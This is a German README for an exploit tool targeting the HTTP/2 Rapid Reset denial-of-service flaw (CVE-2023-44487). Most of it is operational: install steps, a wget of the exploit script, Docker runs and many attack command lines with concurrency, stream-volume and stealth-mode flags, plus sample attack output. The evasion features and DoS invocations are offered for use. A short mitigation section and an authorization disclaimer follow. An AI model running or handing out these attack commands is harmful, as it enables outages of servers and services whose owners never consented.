CVE-2023-44487 HTTP/2 DoS Rapid Reset Exploit
Professional Edition v1.0.1 | Autor: Sudeepa Wanigarathna
-orange.svg)
Inhaltsverzeichnis
Überblick
Ein professionelles Bewertungsframework für CVE-2023-44487, die HTTP/2-Rapid-Reset-Schwachstelle. Dieses Tool hilft Sicherheitsexperten, Systeme gegen eine der folgenreichsten HTTP/2-DoS-Bedingungen zu testen und zu validieren, die in den letzten Jahren bekannt wurde.
Es demonstriert, wie das schnelle Erstellen und Zurücksetzen von HTTP/2-Streams Serverressourcen erschöpfen und zu Denial-of-Service-Bedingungen (DoS) führen kann.
Die wichtigsten Funktionen im Überblick
- Multi-Connection-Angriffsengine — Parallele HTTP/2-Verbindungen
- Adaptive Ratensteuerung — Dynamische Anpassung für maximale Effektivität
- Stealth-Modus — Zufällige Header und Verbindungsrotation
- Umfassende Berichterstattung — JSON/CSV mit Risikobewertung
- Docker-Unterstützung — Containerisierte Bereitstellung
- Echtzeitüberwachung — Live-Angriffsmetriken und Fortschritt
- Professionelles Logging — Farbige Konsolenausgabe mit Datei-Logging
| Usage | Results |
|---|
 |  |
Schwachstellendetails
CVE-2023-44487: HTTP/2-Rapid-Reset-Angriff
Technischer Überblick
Die Schwachstelle nutzt den Stream-Verwaltungsmechanismus des HTTP/2-Protokolls aus:
- Stream-Erstellung — Der Client sendet einen HEADERS-Frame, um einen neuen Stream zu erstellen
- Sofortiges Zurücksetzen — Der Client sendet sofort einen RST_STREAM-Frame
- Serververarbeitung — Der Server muss beide Frames verarbeiten, was Ressourcen verbraucht
- Ressourcenerschöpfung — Wiederholte Zyklen überwältigen die Serverressourcen
Auswirkungen
- Ressourcenerschöpfung auf HTTP/2-Servern
- Möglicher Denial of Service (DoS)
- Kann Load Balancer, Proxys und CDNs betreffen
- Keine Authentifizierung oder spezielle Berechtigungen erforderlich
Funktionen
Kernfunktionen
Erweiterte Funktionen
- Proxy-Unterstützung — Erweiterbare Proxy-Konfiguration
- Verbindungspooling — Effizientes Verbindungsmanagement
- Fehlerbehebung — Saubere Behandlung von Verbindungsfehlern
- Leistungsoptimierung — Konfigurierbare Einstellungen für verschiedene Szenarien
- CI/CD-Integration — Geeignet für automatisierte Sicherheitstests
Anforderungen
Systemanforderungen
Abhängigkeiten
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
Installation
1. Schnellinstallation
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. Virtuelle Umgebung (Empfohlen)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. Docker-Installation
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. Manuelle Installation
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
Schnellstart
Grundlegende Nutzung
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
Schnelltest (5 Sekunden)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
Vollständige Bewertung (60 Sekunden)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
Nutzungsanleitung
Befehlszeilenoptionen
Zielkonfiguration
Angriffskonfiguration
Erweiterte Optionen
Berichterstattung
Konfigurationsoptionen
Verwenden Sie die oben genannten CLI-Flags, um Parallelität, Stream-Volumen, Dauer und Berichterstattung anzupassen. Bevorzugen Sie niedrigere -c / -s / -d-Werte für die erste Validierung und skalieren Sie nur auf Systemen, für die Sie zum Belastungstest autorisiert sind.
Docker-Unterstützung
Image erstellen
docker build -t cve-2023-44487-exploit .
Basisbewertung ausführen
docker run --rm cve-2023-44487-exploit target.com
Mit benutzerdefinierten Parametern ausführen
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
Ergebnisse lokal speichern
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
Interaktiver Modus
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
Beispiele
1. Basis-HTTPS-Bewertung
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. HTTP-Bewertung (ohne SSL)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
3. Hochleistungs-Laborlauf
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. Stealth-Modus
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. Schneller Validierungstest
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
6. CSV-Bericht erstellen
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. Validierung überspringen
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. Autorisierter Produktionstest
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
Ergebnisse verstehen
Ausgabemetriken
Risikobewertungsstufen
Beispielausgabe
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Sicherheitsempfehlungen
Für Systemadministratoren
Sofortige Maßnahmen
-
Sicherheitspatches einspielen
- Auf die neuesten HTTP/2-Implementierungen aktualisieren
- Herstellerspezifische Sicherheitspatches anwenden
- Load Balancer und Proxys aktualisieren
-
Ratenbegrenzung implementieren
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
-
Verbindungslimits
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
Härtung der Konfiguration
| Einstellung | Empfehlung |
|---|
| Maximale gleichzeitige Streams | Auf 100–200 pro Verbindung setzen |
Überwachung
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
Empfohlene Sicherheitskontrollen
Rechtlicher Haftungsausschluss
WICHTIG: LESEN SIE DIES SORGFÄLTIG, BEVOR SIE DIESES TOOL VERWENDEN
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.
Nutzungsbedingungen
Durch die Verwendung dieses Tools bestätigen Sie und stimmen zu, dass:
- Sie über die ausdrückliche schriftliche Genehmigung verfügen, das Zielsystem zu testen
- Sie die Risiken und möglichen Auswirkungen dieser Bewertung verstehen
- Sie alle geltenden Gesetze und Vorschriften einhalten
- Sie die volle Verantwortung für Ihre Handlungen übernehmen
- Sie dieses Tool nicht für unbefugte Aktivitäten verwenden
Verbotene Verwendungen
Dieses Tool darf NICHT verwendet werden für:
- Unbefugte Tests oder Angriffe
- Denial of Service gegen Systeme, die Sie nicht besitzen oder für deren Test Sie keine Genehmigung haben
- Störung von Produktionssystemen ohne Autorisierung
- Verursachung finanzieller Schäden
- Illegale Aktivitäten
Haftungserklärung
DER AUTOR UND DIE MITWIRKENDEN STELLEN DIESES TOOL "WIE BESEHEN" OHNE JEGLICHE GEWÄHRLEISTUNG BEREIT. DIE VERWENDUNG DIESES TOOLS ERFOLGT AUF EIGENES RISIKO. DER AUTOR ÜBERNIMMT KEINE HAFTUNG FÜR SCHÄDEN ODER RECHTLICHE PROBLEME, DIE AUS DER VERWENDUNG DIESES TOOLS ENTSTEHEN.
Die unbefugte Verwendung dieses Tools kann gegen Gesetze verstoßen, einschließlich, aber nicht beschränkt auf:
- Computer Fraud and Abuse Act (CFAA) — USA
- Computer Misuse Act — Großbritannien
- Datenschutz-Grundverordnung (DSGVO) — EU
- Weitere relevante lokale, nationale und internationale Gesetze
Autor
Sudeepa Wanigarathna
- Sicherheitsforscher & Penetrationstester
- Spezialisiert auf Anwendungssicherheit & Protokollschwachstellen
- GitHub
- LinkedIn
Changelog
Version 1.0.1 (Aktuell)
- Fehler mit dem
connection_attempts-Attribut behoben
- SSL/ALPN-Validierung verbessert
- Timeout-Behandlung hinzugefügt
- Fehlerbehebung verbessert
--skip-validation-Flag hinzugefügt
- Docker-Unterstützung verbessert
Version 1.0.0 (Erstveröffentlichung)
- Erstveröffentlichung der Professional Edition
- Multi-Connection-Angriffsengine
- Adaptive Ratensteuerung
- Stealth-Modus
- Umfassende Berichterstattung
- Docker-Unterstützung
Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert — siehe die Datei LICENSE für Details.
Danksagungen
- HTTP/2-Protokollteam
- Sicherheitsforscher, die CVE-2023-44487 identifiziert haben
- Open-Source-Community (
h2, aiohttp-Projekte)
Referenzen
Support
Bei Problemen und Fragen:
Kurzreferenz-Karte
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
ERINNERUNG: Holen Sie immer eine ordnungsgemäße Autorisierung ein, bevor Sie ein System testen. Verwenden Sie dieses Tool verantwortungsbewusst und ethisch.
Gepflegt von Sudeepa Wanigarathna | Zuletzt aktualisiert: August 2026